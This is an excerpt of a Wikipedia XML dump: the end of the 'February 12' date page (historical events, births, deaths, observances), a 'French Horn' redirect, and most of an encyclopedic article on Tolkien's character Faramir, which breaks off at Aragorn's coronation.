* [[1825]] - The [[Creek (people)|Creek]] cede the last of their lands in [[Georgia (U.S. state)|Georgia]] to the [[United States]] government, and migrate west.
* [[1832]] - [[Ecuador]] annexes the [[Galápagos Islands]].
* [[1870]] - Women gain the [[right to vote]] in [[Utah|Utah Territory]].  
* [[1879]] - At [[New York City]]'s [[Madison Square Garden]] the first artificial [[ice rink]] in [[North America]] opens.   
* [[1892]] - Former [[President]] [[Abraham Lincoln]]'s birthday is declared a national [[holiday]] in the [[United States]].
* [[1894]] - [[Anarchist]] [[Emile Henry]] hurls a [[bomb]] into [[Paris]]'s [[Cafe Terminus]], killing one and wounding 20.
* [[1909]] - The [[National Association for the Advancement of Colored People]] (NAACP) is founded.
* [[1912]] - [[Xuantong Emperor]] of the [[Manchu]] [[Qing dynasty]], the last [[Emperor of China]], [[abdication|abdicates]].
* 1912 - [[China]] adopts the [[Gregorian calendar]].
* [[1915]] - In [[Washington, DC]], the first stone of the [[Lincoln Memorial]] is put into place.  
* [[1924]] - [[Premiere]] of [[George Gershwin]]'s [[Rhapsody in Blue]] with [[Paul Whiteman]]'s [[Palais Royal Orchestra]] in [[Aeolian Hall]] in [[New York City]]
* 1924 - [[Calvin Coolidge]] becomes the first [[President of the United States]] to deliver a political speech on [[radio]].  
* [[1934]] - The [[Austrian Civil War]] begins.
* 1934 - The [[Export-Import Bank of the United States]] is incorporated.
* 1934 - In [[Spain]] the national council of ''[[Juntas de Ofensiva Nacional-Sindicalista]]'' is inaugurated. The council decides to merge the movement with the ''[[Falange Española]]''.
* [[1946]] - [[Operation Deadlight]] ends after scuttling 121 of 154 captured [[U-boat]]s.
* [[1951]] - [[Soraya Esfandiary Bakhtiari]] marries the [[Mohammad Reza Pahlavi|Shah of Iran Reza Pahlavi]] at [[Golestan Palace]] in [[Teheran]] at age of 17.
* [[1966]] - [[Mujibur Rahman|Sheikh Mujibur Rahman]], announced famous ''[[Six Points]]'' in [[Karachi]] as election manifesto of [[Awami League]] that later led to formation of [[Bangladesh]]. 
* [[1973]] -  [[Ohio]] becomes the first [[U.S. state]] to post distance in [[SI|SI units]] on signs.  
* 1973 - [[Vietnam War]]: The first [[United States|American]] [[prisoners of war]] are released by the [[Viet Cong]].  
* [[1994]] - [[1994 Winter Olympics]] open in [[Lillehammer]], [[Norway]].
* [[1998]] - The [[presidential]] [[line-item veto]] is declared [[unconstitutional]] by [[United States]] [[federal judge]].  
* [[1999]] - [[President of the United States|President]] [[Bill Clinton]] is acquitted by the [[United States Senate]] in his [[impeachment]] trial.
* [[2001]] - [[NEAR Shoemaker]] spacecraft touchdown in the &quot;[[saddle]]&quot; region of [[433 Eros]] becoming the first spacecraft to land on an [[asteroid]]. 
* 2001 - [[Google]] obtains the [[Usenet]] service of [[Dejanews|Deja.com]], creating [http://groups.google.com Google Groups] ([http://www.google.com/press/pressrel/pressrelease48.html press release]).
* [[2002]] - The trial of former [[President]] of [[Federal Republic of Yugoslavia]] [[Slobodan Milošević]] begins at the [[United Nations]] [[war crime]]s tribunal in [[The Hague]].
* 2002 - [[Nuclear waste]]: [[US Secretary of Energy]] makes the decision that [[Yucca Mountain]] is suitable to be the [[United States]]' nuclear repository.
* 2002 - An [[Iran Air Tours|Iran Air]] [[Tupolev Tu-154]] crashes prior to landing in [[Khorramabad]], [[Iran]], killing 119.
* [[2004]] - [[Mayor]] [[Gavin Newsom]] of [[San Francisco, California]], on [[National Freedom to Marry Day]], orders his [[county clerk]] to revise [[marriage license]]s to allow [[gay]] and [[lesbian]] couples to legally wed.
* 2004 - [[Mattel|Mattel Inc.]] announces the split of [[Barbie|Barbara Millicent Roberts]] and [[Ken Carson]] (aka [[Barbie]] and [[Ken]]) after 43 years of [[Courtship|dating]].
* [[2005]] - Former [[Vermont]] governor and presidential candidate [[Howard Dean]] becomes chairman of the [[Democratic National Committee]].
* [[2006]] - A powerful [[Nor'easter]] [[Blizzard of 2006|Winter Storm]] blankets the [[Northeast]] [[United States]] dumping 1 to 2 feet of [[snow]] from [[Washington DC]] up to [[Boston]], [[Massachusetts]].  The storm dumped a record 26.9 inches of snow in New York City.

==Births==

*[[1074]] - [[Conrad (King of Italy)|Conrad]], King of Germany and Italy (d. [[1101]])
*[[1218]] - [[Kujo Yoritsune]], Japanese shogun (d. [[1256]])
*[[1567]] - [[Thomas Campion]], English composer and poet (d. [[1620]])
*[[1606]] - [[John Winthrop, the Younger]], Governor of Connecticut (d. [[1676]])
*[[1637]] - [[Jan Swammerdam]], Dutch scientist (d. [[1680]])
*[[1663]] - [[Cotton Mather]], New England minister (d. [[1728]])
*[[1665]] - [[Rudolf Jakob Camerarius]], German botanist and physician (d. [[1721]])
*[[1704]] - [[Charles Pinot Duclos]], French writer (d. [[1772]])
*[[1728]] - [[Étienne-Louis Boullée]], French architect (d. [[1799]])
*[[1753]] - [[François-Paul Brueys D'Aigalliers]], French admiral (d. [[1798]])
*[[1768]] - [[Francis II, Holy Roman Emperor]] (d. [[1835]])
*[[1775]] - [[Louisa Adams]], [[First Lady of the United States]], wife of [[John Quincy Adams]] (d. [[1852]])
*[[1777]] - [[Friedrich de la Motte Fouqué]], French poet (d. [[1843]])
*[[1785]] - [[Pierre Louis Dulong]], French physicist (d. [[1838]])
*[[1788]] - [[Carl Reichenbach]], German chemist and philosopher (d. [[1869]])
*[[1794]] - [[Alexander Petrov]], Russian chess player (d. [[1867]])
*[[1804]] - [[Heinrich Lenz]], German physicist (d. [[1865]])
*[[1809]] - [[Charles Darwin]], English naturalist (d. [[1882]])
*1809 -  [[Abraham Lincoln]], 16th [[President of the United States]] (d. [[1865]])
*[[1818]] - [[Otto Ludwig]], German writer
*[[1828]] - [[George Meredith]], English writer (d. [[1909]])
*[[1857]] - [[Bobby Peel]], English cricketer (d. [[1943]]).
*[[1861]] - [[Lou Andreas-Salome]], Russian-born author (d. [[1937]])
*[[1865]] - [[Kazimierz Tetmajer]], Polish poet and writer (d. [[1940]])
*[[1876]] - [[Thubten Gyatso, 13th Dalai Lama|Thubten Gyatso]], 13th [[Dalai Lama]] (d. [[1933]])
*[[1880]] - [[John L. Lewis]], American labor union leader (d. [[1969]])
*[[1881]] - [[Anna Pavlova]], Russian ballerina (d. [[1931]])
*[[1884]] - [[Max Beckmann]], painter and graphic artist (d. [[1950]])
*1884 - [[Marie Vassilieff]], Russian artist (d. [[1957]])
*[[1893]] - [[Omar Bradley]], American general (d. [[1981]])
*[[1898]] - [[Wallace Ford]], actor (d. [[1966]])
*[[1900]] - [[Roger J. Traynor]], American judge (d. [[1980]])
*[[1904]] - [[Ted Mack (television host)|Ted Mack]], American television host (d. [[1976]])
*[[1908]] - [[Jacques Herbrand]], French logician-mathematician (d. [[1931]])
*  1908   - [[August Neo]], Estonian wrestler, Olympic medalist (d. [[1982]])
*[[1911]] - [[Stephen H. Sholes]], American recording executive (d. [[1968]])
*[[1912]] - [[R. F. Delderfield]], English author (d. [[1972]])
*[[1914]] - [[Tex Beneke]], American musician and band leader (d. [[2000]])
*[[1915]] - [[Lorne Greene]], American actor (d. [[1987]])
*[[1916]] - [[Joseph Alioto]], Mayor of San Francisco (d. [[1998]])
*[[1918]] - [[Julian Schwinger]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1994]])
*[[1919]] - [[Forrest Tucker]], American actor (d. [[1986]])
*[[1920]] - [[William Roscoe Estep]], Baptist historian and professor (d. [[2000]])
*[[1923]] - [[Franco Zeffirelli]], Italian film and opera director and designer
*[[1925]] - Sir [[Anthony Berry]], British politician (d. [[1984]])
*[[1926]] - [[Joe Garagiola]], baseball player
*1926 - [[Paul Kurtz]], American philosopher
*1926 - [[Charles Van Doren]], American quiz show contestant
*[[1930]] - [[Arlen Specter]], U.S. Senator from Pennsylvania
*[[1931]] - [[Janwillem van de Wetering]], Dutch author
*[[1932]] - [[Axel Jensen]], Norwegian author (d. [[2003]])
*1932 - [[Julian Lincoln Simon]], American economist and author (d. [[1998]])
*[[1933]] - [[Costa-Gavras]], Greek-born director and writer
*[[1934]] - [[Bill Russell (basketball)|Bill Russell]], American basketball player
*[[1936]] - [[Joe Don Baker]], American actor
*1936 - [[Paul Shenar]], American actor
*[[1937]] - [[Charles Dumas]], American athlete
*[[1938]] - [[Judy Blume]], American author
*1938 - [[Johnny Rutherford]], American race car driver
*[[1939]] - [[Ray Manzarek]], American keyboardist ([[The Doors]])
*[[1940]] - [[Richard Lynch]], American actor
*[[1942]] - [[Ehud Barak]], [[Prime Minister of Israel]]
*[[1945]] - [[Maud Adams]], Swedish actress
*[[1946]] - [[Ajda Pekkan]], Turkish singer
*[[1950]] - [[Michael Ironside]], Canadian actor
*1950 - [[Steve Hackett]], British musician  ([[Genesis (band)]])
*[[1952]] - [[Michael McDonald (singer)|Michael McDonald]], American musician
*[[1953]] - [[Nabil Shaban]], British actor
*1953 - [[Robin Thomas]], American actor
*[[1954]] - [[Philip Zimmermann]], cryptographer
*[[1955]] - [[Arsenio Hall]], American actor and talk show host
*[[1958]] - [[Bobby Smith]], Canadian [[ice hockey]] player
*[[1961]] - [[James R. M. Harris|Jim Harris]], [[Canada|Canadian]] polititian
*[[1962]] - [[Jimmy Kirkwood]], Irish-born field hockey player
*[[1967]] - [[Chris McKinstry]], Canadian computer scientist
*[[1968]] - [[Josh Brolin]], American actor
*1968 - [[Chynna Phillips]], American singer
*[[1969]] - [[Darren Aronofsky]], American director and writer
*1969 - [[Meja]], Swedish singer
*1969 - [[Hong Myung-Bo]], Korean footballer
*[[1970]] - [[Jim Creeggan]], Canadian bassist ([[Barenaked Ladies]])
*[[1973]] - [[Gianni Romme]], Dutch speed skater
*1973 - [[Tara Strong]], American voice actress
*[[1976]] - [[Silvia Saint]], Czech actress
*[[1979]] - [[Jesse Spencer]], Australian actor
*[[1980]] - [[Juan Carlos Ferrero]], Spanish tennis player
*1980 - [[Christina Ricci]], American actress
*[[1982]] - [[Onil Joseph]], [[Dominican Republic]], [[Major League Baseball]] baseball player
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1538]] - [[Albrecht Altdorfer]], German painter
*[[1554]] - [[Lord Guilford Dudley]], consort of [[Lady Jane Grey]] (executed) (b. [[1536]])
*1554 - [[Lady Jane Grey]], claimant to the throne of England (executed) (b. [[1537]])
*[[1571]] - [[Nicholas Throckmorton]], English diplomat and politician (b. [[1515]])
*[[1590]] - [[François Hotman]], French lawyer and writer (b. [[1524]])
*[[1595]] - [[Archduke Ernest of Austria]], Governor of the Spanish Netherlands (b. [[1553]])
*[[1612]] - [[Christopher Clavius]], German astronomer (b. [[1538]])
*[[1624]] - [[George Heriot]], Scottish goldsmith and philanthropist (b. [[1563]])
*[[1630]] - [[Fynes Moryson]], English traveler and writer (b. [[1566]])
*[[1700]] - [[Aleksei Shein]], Russian general and statesman (b. [[1662]])
*[[1724]] - [[Elkanah Settle]], English writer (b. [[1648]])
*[[1728]] - [[Agostino Steffani]], Italian diplomat and composer (b. [[1653]])
*[[1762]] - [[Laurent Belissen]], French composer (b. [[1693]])
*[[1763]] - [[Pierre de Marivaux]], French writer (b. [[1688]])
*[[1771]] - King [[Adolf Frederick of Sweden]] (b. [[1710]])
*[[1789]] - [[Ethan Allen]], American patriot (b. [[1738]])
*[[1799]] - [[Lazzaro Spallanzani]], Italian biologist (b. [[1729]])
*[[1804]] - [[Immanuel Kant]], German philosopher (b. [[1724]])
*[[1916]] - [[Richard Dedekind]], German mathematician (b. [[1831]])
*[[1929]] - [[Lillie Langtry]], British singer and actress (b. [[1853]])
*[[1933]] - [[Henri Duparc]], French composer (b. [[1848]])
*[[1935]] - [[Auguste Escoffier]], French chef (b. [[1846]])
*[[1949]] - [[Hassan al Banna|Imam Hassan al Banna]], Egyptian founder of the Muslim Brotherhood (b. [[1906]])
*[[1951]] - [[Choudhary Rahmat Ali]], one who named the country Pakistan (b. [[1895]])
*[[1954]] - [[Dziga Vertov]], Russian filmmaker (b. [[1896]])
*[[1957]] - [[Eric Alfred Knudsen]], American author, folklorist (b. [[1872]])
*[[1971]] - [[James C. Penney]], American department store founder (b. [[1875]])
*[[1976]] - [[Sal Mineo]], American actor (b. [[1939]])
*[[1979]] - [[Jean Renoir]], French director (b. [[1894]])
*[[1982]] - [[Victor Jory]], Canadian actor (b. [[1902]])
*[[1983]] - [[Eubie Blake]], American musician and songwriter
*[[1984]] - [[Julio Cortázar]], Argentine writer (b. [[1914]])
*[[1985]] - [[Nicholas Colasanto]], American actor (b. [[1924]])
*[[1992]] - [[Bep van Klaveren]], Dutch boxer (b. [[1907]])
*1992 - [[María Elena Moyano]], Peruvian activist (b. [[1960]])
*[[1993]] - [[James Bulger]], English murder victim (b. [[1990]])
*[[1995]] - [[Robert Bolt]], English writer (b. [[1924]])
*1995 - [[Philip Taylor Kramer]], American musician ([[Iron Butterfly]])
*[[1996]] - [[Bob Shaw]], Northern Irish science fiction writer (b. [[1931]])
*[[2000]] - [[Screamin' Jay Hawkins]], American musician (b. [[1929]])
*2000 - [[Tom Landry]], American football coach (b. [[1924]])
*2000 -  [[Charles Schulz]], American comics author (b. [[1922]])
*[[2001]] - [[Kristina Söderbaum]], German actress and photographer (b. [[1912]])
*[[2005]] - [[Brian Kelly]], American actor (b. [[1932]])
*2005 - [[Rafael Vidal]], Venezuelan athlete (b. [[1964]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
* [[United States]] - [[Abraham Lincoln|Lincoln's Birthday]] (traditionally).
* [[Georgia Day]] in the [[U.S. state]] of [[Georgia (U.S. state)|Georgia]].
* [[National Freedom to Marry Day]] (unofficial).
* [[Darwin Day]].
* [[Red Hand Day]], International Day against the use of child soldiers
* Marriage Day Honoring the mother and father as heads of the household (as declared by Pope John Paul II)

==External links==
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=12 On this day in Canada]
* [http://www.nytimes.com/learning/general/onthisday/20060212.html NY Times: On this day]
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/12 BBC: On This Day]

----

[[February 11]] - [[February 13]] - [[January 12]] - [[March 12]] &amp;ndash; [[historical anniversaries|listing of all days]]

{{months}}

[[af:12 Februarie]]
[[ar:12 فبراير]]
[[an:12 de frebero]]
[[ast:12 de febreru]]
[[bg:12 февруари]]
[[be:12 лютага]]
[[bs:12. februar]]
[[ca:12 de febrer]]
[[ceb:Pebrero 12]]
[[cv:Нарăс, 12]]
[[co:12 di frivaghju]]
[[cs:12. únor]]
[[cy:12 Chwefror]]
[[da:12. februar]]
[[de:12. Februar]]
[[et:12. veebruar]]
[[el:12 Φεβρουαρίου]]
[[es:12 de febrero]]
[[eo:12-a de februaro]]
[[eu:Otsailaren 12]]
[[fo:12. februar]]
[[fr:12 février]]
[[fy:12 febrewaris]]
[[ga:12 Feabhra]]
[[gl:12 de febreiro]]
[[ko:2월 12일]]
[[hr:12. veljače]]
[[io:12 di februaro]]
[[ilo:Febrero 12]]
[[id:12 Februari]]
[[ia:12 de februario]]
[[ie:12 februar]]
[[is:12. febrúar]]
[[it:12 febbraio]]
[[he:12 בפברואר]]
[[jv:12 Februari]]
[[ka:12 თებერვალი]]
[[csb:12 gromicznika]]
[[ku:12'ê reşemiyê]]
[[lt:Vasario 12]]
[[lb:12. Februar]]
[[hu:Február 12]]
[[mk:12 февруари]]
[[ms:12 Februari]]
[[nap:12 'e frevaro]]
[[nl:12 februari]]
[[ja:2月12日]]
[[no:12. februar]]
[[nn:12. februar]]
[[oc:12 de febrièr]]
[[os:12 февралы]]
[[pl:12 lutego]]
[[pt:12 de Fevereiro]]
[[ro:12 februarie]]
[[ru:12 февраля]]
[[se:Guovvamánu 12.]]
[[sco:12 Februar]]
[[sq:12 Shkurt]]
[[scn:12 di frivaru]]
[[simple:February 12]]
[[sk:12. február]]
[[sl:12. februar]]
[[sr:12. фебруар]]
[[fi:12. helmikuuta]]
[[sv:12 februari]]
[[tl:Pebrero 12]]
[[tt:12. Febräl]]
[[te:ఫిబ్రవరి 12]]
[[th:12 กุมภาพันธ์]]
[[vi:12 tháng 2]]
[[tr:12 Şubat]]
[[uk:12 лютого]]
[[wa:12 di fevrî]]
[[war:Pebrero 12]]
[[zh:2月12日]]
[[pam:Pebreru 12]]</text>
    </revision>
  </page>
  <page>
    <title>French Horn</title>
    <id>11159</id>
    <revision>
      <id>15908923</id>
      <timestamp>2004-08-03T02:03:58Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
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      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Horn (instrument)]]</text>
    </revision>
  </page>
  <page>
    <title>Faramir</title>
    <id>11160</id>
    <revision>
      <id>42058863</id>
      <timestamp>2006-03-03T14:50:30Z</timestamp>
      <contributor>
        <username>NongBot</username>
        <id>817745</id>
      </contributor>
      <minor />
      <comment>robot  Adding: th</comment>
      <text xml:space="preserve">{|align=right
|-
|{{Infobox LOTR |
image_character = Faramir2.jpg |
image_caption = [[David Wenham]] portrays '''Faramir''' in 
[[Peter Jackson]]'s ''[[The Lord of the Rings film trilogy|The Lord of the Rings]]'' films. |character_name = Faramir |
character_alias = none |
character_title = Captain of the [[Rangers of Ithilien]] &lt;br/&gt; Captain of the White Tower &lt;br/&gt; Steward of [[Gondor]] &lt;br/&gt; Lord of [[Emyn Arnen]]&lt;br/&gt; Prince of Ithilien&lt;br/&gt; Steward of Gondor |
character_race = [[Men (Middle-earth)|Men]] |
character_culture = [[Dúnedain]], [[Gondorian]], [[House of Húrin]] |
character_gender = male |
character_realm = Gondor |
character_sub_realm = |
character_lifespan = 2983 [[Third Age|T.A.]] &amp;ndash; 82 [[Fourth Age|F.A.]] (120 years) |
character_weapon = Sword and Bow |
character_actor = David Wenham |
character_voice = David Wenham |
}}
|}

&lt;blockquote&gt;'' 'Here was one with an air of high nobility such as Aragorn at times revealed, less high perhaps, yet also less incalculable and remote: one of the Kings of Men born into a later time, but touched with the wisdom and sadness of the Eldar Race. He knew now why Beregond spoke his name with love. He was a captain that men would follow, that he would follow, even under the shadow of the black wings.' '' &lt;br/&gt;&amp;mdash;[[Peregrin Took]]'s thoughts after seeing Faramir for the first time&lt;/blockquote&gt;

'''Faramir''' ([[Third Age|T.A.]] 2983 &amp;ndash; [[Fourth Age|F.A.]] 82)  is a wise man of nobility, the second of [[Denethor]]'s two sons in [[J. R. R. Tolkien]]'s fantasy universe, [[Middle-earth]].  As the '''Captain of the [[Rangers of Ithilien]]''' (as well as the '''Captain of the White Tower''' after his brother's death) during the [[War of the Ring]], he had the strength belonging of his Númenorean ancestors, whose blood ran true in him, to reject the Ring without temptation&amp;mdash;where else his brother, [[Boromir]], could not.

After his father's death, Faramir became the '''[[Steward of Gondor]]'''. Upon the arrival of the true king, [[Aragorn|King Elessar]], he laid down his office as Ruling Steward, but Elessar renewed his hereditary appointment as Steward and advisor to the King. Faramir was also appointed '''Prince of [[Ithilien]]''', also known as, '''Lord of [[Emyn Arnen]]'''. 

==Biography==
Faramir was born in the [[Third Age]] of 2983 to [[Denethor II]] and [[Finduilas of Dol Amroth|Finduilas]], daughter of Adrahil of [[Dol Amroth]].  The following year, [[Ecthelion II]] died and his son, Denethor, succeeded him as the [[Stewards of Gondor#Ruling Stewards of Gondor|Ruling Steward of Gondor]].

When Faramir was five-years-old, Finduila died.  Her death caused Denethor to become more somber, cold and detached from his family.  The relationship between Faramir and [[Boromir]], who was five years elder of the brothers, grew closer and greater in love.  Despite the obvious way that Denethor favored Boromir over Faramir, there was no jealously or rivalry between them.  Boromir protected and helped Faramir, and Faramir looked up to his older brother.  Although the siblings were very similar in appearance with their dark hair and grey eyes, it was not so in personality.  Boromir was defined to be the more daring one, as well as the more fearless and strong warrior.  Faramir’s boldness was incorrectly judged to be less due to his gentle nature and love of [[lore]] and music.

It was this interest that formed a friendship between Faramir and [[Gandalf]] the Grey.  The youngest son of Denethor learned of what he could from Gandalf’s wisdom and mentoring.  Denethor did not approve of Faramir as the “[[Wizards (Middle-earth) |wizard]]’s pupil”, for he neither trusted or liked the istar.

Faramir’s leadership, skill-in-arms, and swift but hardy judgment proved to be handy on the battlefield.  During the War of the Ring, he was the Captain of the [[Rangers of Ithilien]]; which consisted of the goodly [[Dúnedain]] of the South belonging to the line of the Lords of Westerneese. Faramir valiantly defended Gondor from the Enemy, but did not enjoy fighting for war’s sake.

&lt;blockquote&gt;''&quot;War must be, while we defend our lives against a destroyer who would devour all; but I do not love the bright sword for its sharpness, nor the arrow for its swiftness, nor the warrior for his glory. I love only that which they defend: the city of the Men of Númenor, and I would have her loved for her memory, her ancientry, her beauty, and her present wisdom. Not feared, save as men may fear the dignity of a man, old and wise&quot;'' (The Two Towers, &quot;The Window on the West&quot;).&lt;/blockquote&gt;

In June of 3018 T.A., [[Sauron]]’s forces attacked [[Osgiliath]], under the command of the [[Witch-king]], whose prescence caused the soldiers to drew back across the [[Anduin]].  When the last bridge was destroyed, in which Boromir’s and Faramir’s companies remained, the two brothers, along with two others, swam to shore and managed to hold all of the west shores of the Anduin.

The night before the assualt, Faramir had a prophectic dream of a voice speaking the following riddle:

&lt;blockquote&gt; ''“Seek for the Sword that was broken:&lt;br /&gt; 
''In Imladris it dwells; &lt;br /&gt; 
''There shall be counsels taken &lt;br /&gt; 
''Stronger than Morgul-spells. &lt;br /&gt; 
''There shall be shown a token &lt;br /&gt; 
''That Doom is near at hand, &lt;br /&gt; 
''For Isildur's Bane shall waken, &lt;br /&gt; 
''And the Halfling forth shall stand”'' (The Fellowship of the Ring, &quot;The Council of Elrond”).&lt;/blockquote&gt;

It came to Faramir and to his brother (once) as well, and they told of their dream to Denethor, who only told them that Imladris was an Elvish name for [[Rivendell]], home of [[Elrond]] and the Halfelven.  Although Faramir had wanted to go for Gondor’s sake, Boromir, with the support of his father, claimed the right to the errand, deeming it to be dangerous and doubtful, and traveled nearly four months to Rivendell, arriving just in time for the [[Council of Elrond]], where he reported the dream and its verses.

On February 29, 3019 at midnight, Faramir, who was on guard duty on the western shore in Osgliath, waded down to a boat floating down the Anduin river.  To his grief, it was the dead body of his brother, which was pierced with many wounds.  In it, lay his sword, broken, but there was no sign of the Great Horn, in which he and his father had heard being blown far across the distance in the North three days ago.

[[Image:FaramirTrial.jpg|thumb|left|230px|Faramir interrogating [[Frodo Baggins]]]]

During the battle with [[Southrons]], Faramir, who took over his brother's position as the Captain of the White Tower, encountered the [[Hobbits]] [[Frodo Baggins]] and [[Samwise Gamgee]], recognizing them to the Halflings his dream spoke of, and left [[Rangers of Ithilien#Members during the War of the Ring|Mablung]] and [[Rangers of Ithilien#Members during the War of the Ring|Damrod]] to guard them while he focused on the battle.  After the assualt, Faramir questioned Frodo of his quest, in which Frodo revealed that he, along with eight other companions, set out from Rivendell.  During the interrogation, Faramir asked often about Boromir, especially concerning his fate, and of Isildur’s Bane, in which Frodo was not too keen on talking about.  Later, Frodo remarked that if any mortal could claim Isildur’s Bane, it would be [[Aragorn]], the heir of [[Isildur]].  The Rangers were impressed save Faramir, who said proof would be necessary if Aragorn was to claim the throne.

Through intelligent questioning and intuiotion, Faramir determined that Frodo was carrying some great evil weapon of the Dark Lord of the Enemy.  At this point, he showed the crucial difference between him and his proud brother:

&lt;blockquote&gt;'' &quot;But fear no more! I would not take this thing, if it lay by the highway. Not were Minas Tirith falling in ruin and I alone could save her, so, using the weapon of the Dark Lord for her good and my glory. No, I do not wish for such triumphs, Frodo son of Drogo&quot; '' (The Two Towers: &quot;The Window on the West&quot;).&lt;/blockquote&gt;

In the Rangers’ secret refuge behind the waterfall, [[Henneth Annun]], Sam accidentally revealed of Boromir’s desire of the Enemy’s Ring, thus revealing the item Frodo was carrying.  Despite the hobbits’ fears, Faramir remained true to his vow that he would not take it even if it laid on the highway, for he was wise enough to realize that such a weapon was not to be used and if desired, resisted.  With this knowledge, he also realized of what his brother had to face, and wished that he had gone in his brother’s stead—knowing that Boromir would have wanted this ring in which he could bring glory and victory to [[Minas Tirith]] and himself.

[[Gollum]] was spotted in the Forbidden Pool the same night.  Although the creature should’ve been shot for not only trepassing in Ithilien, but in Henneth Annun by law, Faramir listened to Frodo’s request to spare Gollum’s life.  After interrogating Gollum, he set Frodo and those who would travel with him free in the Lands of Gondor (and Gollum under Frodo’s protection), even with the knowledge that his own life would be forfeit for not bringing them to Minas Tirith.  Giving them provisions, including walking sticks made of lebethron, he sent them on their way to continue their quest with the good will of all good men and warned Frodo of Gollum being a treacherous creature and that in the place of [[Cirith Ungol]], dwelt a form of dark, unknown terror.

The following evening, Faramir and his company arrived in [[Cair Andros]], an island located in northern Anduin.  After noting that the sky was now covered in complete darkness, Faramir sent the his company south to reinforce the garrison at Osgliath while he and three others of his men rode to Minas Tirith.  Along the way, they were pursued by the Winged [[Nazgul]].  The men, except Faramir, were unhorsed and it was the Captain, a master of both beasts and men, who was still horsed and rode back to aid the fallen.  Fortunately, Gandalf rode out to their aid, temporarily banishing the Nazgul with a bright, white light emitting from his staff.

[[Image:FaramirReport.jpg|thumb|right|330px|Faramir reporting to his father, [[Denethor II|Denethor]], and [[Gandalf]]]]

Arriving at Minas Tirith, Faramir reported to Denethor and Gandalf of his encounter of the Frodo and Sam, much like the Halfling under the Steward’s service, [[Pippin Took]].  Denethor became angry that Faramir had not brought the ring to Gondor; wishing that his and his brother’s places were reversed—since Denethor believed that Boromir would bring the Enemy’s weapon to him.

Against the rest of the Council’s opinions, Denethor sent Faramir to hold Osgiliath against the hosts of the Enemy that outnumbered their own greatly.  Although Faramir disagreed with his father’s strategy, he agreed to go, requesting that his father think better of him if returned (to which Denethor coldly replied that it would depend on how he returned).

The Witch-king, who led a force from [[Minas Morgul]] ten times greater, overwhelmed the men of Gondor and won Osgiliath.  Faramir drew back to Causeway Forts, in which men of the men were wounded or killed.  Faramir decided to stay with the rearguard in order to make sure that the retreat over [[Pelennor]] would not turn into a rout.

After the Ramnas Echor was breached, the Nazgul assaulted the rearguard, and Faramir was gravely wounded by an arrow.  Fortunately, Gandlf and Faramir’s uncle, Prince [[Imrahil]] of Dol Amroth, rode to the aid of Faramir and the troops with hosts of cavalry.  Imrahil bore Faramir back to Denethor, telling him that his son had done great deeds.

Regretting that he had unthankfully sent his son off in needless peril without his blessing, Denethor, after looking in the [[palantir]], believing that the ring was captured and the end was near, ordered his servants to build a funeral pyre for him and his son, who was believed to be poisoned by the Witch-king’s dart.  Despite Pippin’s protests that Faramir was still alive, Denethor continued with this madness and released the hobbit from his service.

Horrified, Pippin went to alert [[Beregond (Captain)|Beregond]], one of the Tower Guards and Gandalf.  Beregond, who loved his captain enough to abadon his post and risk his life protecting him, stopped the servants from lighting the pyre with fire.  Pippin returned with Gandalf, who intervened by taking Faramir off the pyre as Faramir moaned out to his father in his dreams.  Denethor took out a knife, trying to take Faramir back, but Beregond placed himself in front of Faramir.  Seeing that he could not win, Denethor lit the pyre and jumped in it, burning himself alive.

Then Faramir was laid in the [[Houses of Healing]] until Aragorn came and revived Faramir with [[athelas]].  It was not a poisoned dart of the Witch-king that wounded him in a state near death, but the arrow of a Southron, along with Faramir’s weariness and grief concerning his constantly strained relationship with his father and the Black Breath of the Nazgul, who, under Sauron's orders, hunted Faramir ever since he'd left Ithilien.  When he awoke, Faramir immediately recognized Aragorn as his rightful King (therefore realizing that no proof was needed after all),

Before Aragorn left to lead the soldiers to the Black gate, he commanded the Warden of the Houses of Healing to have Faramir and the Lady [[Éowyn]] of [[Rohan]] to remain resting for at least ten days.  After Éowyn demanded the Warden to take her to the Steward of the City to have her released so she could ride out in battle, Faramir, whose heart was moved with pity and pierced by beauty, told Éowyn that he too, had to heed the advice of the Warden and asked her to walk with him at times.  He also fulfilled her request to have her room look east to Mordor.

Faramir and Éowyn walked together in the gardens nearly every day.  And he learned from [[Merry Brandybuck]], of Éowyn’s despair of feeling trapped, waiting of the waning King [[Théoden]] and Aragorn's rejection of her love.

[[Image:FaramirMantle.jpg|thumb|left|330px|Faramir and [[Éowyn]] standing at the wall that looks toward [[Mordor]]]]

On March 25th, Faramir gave Éowyn a dark blue mantle sown with silver stars that had once belonged to his mother, as they stood at the wall that looked towards Mordor.  There, they saw a threatening darkness towering over and seeing this, Faramir told her of his dream of the Downfall of [[Númenor]]&amp;mdash;that the darkness threatening to overtake Middle-earth reminded him fo the great wave that swallowed the land of Númenor.  Somehow, to Faramir and the people of the city, a hope and joy welled in their hearts and he kissed Éowyn’s brow.

Éowyn, however, still felt languished and unfulfilled.  Several days after he’d given her the mantle, Faramir told Éowyn that he understood that she desired to be lifted in greatness and out of the cage she had felt trapped in and when Aragorn only gave her understanding and pity, instead of love (in which she later realized a shadow of love), she had wanted to die valiantly and gloriously in battle.  He told her that though he had first pitied her, he now loved her.  There, Éowyn’s grief was fully healed, and no longer did she desire glory or greatness and realized that she had come to love Faramir in return.  Upon hearing this, Faramir kissed her, uncaring of whether or not the people of Minas Tirith could see this in full view.

Faramir briefly served as a Ruling Steward, and began preparing the city for the King’s arrial.  On the day of the King’s official coronation on May 1st, Faramir surrendered his office, which was represented by the white rod of the Steward, kneeling as he did so.  Aragorn however, gave the rod back, announcing that as long as his line would last, Faramir and his descendants would be Stewards of Gondor.  After Faramir had asked the people of Gondor if they accepted Aragorn as their King (in which they did), Faramir took the crown out and Aragorn was crowned King Elessar.

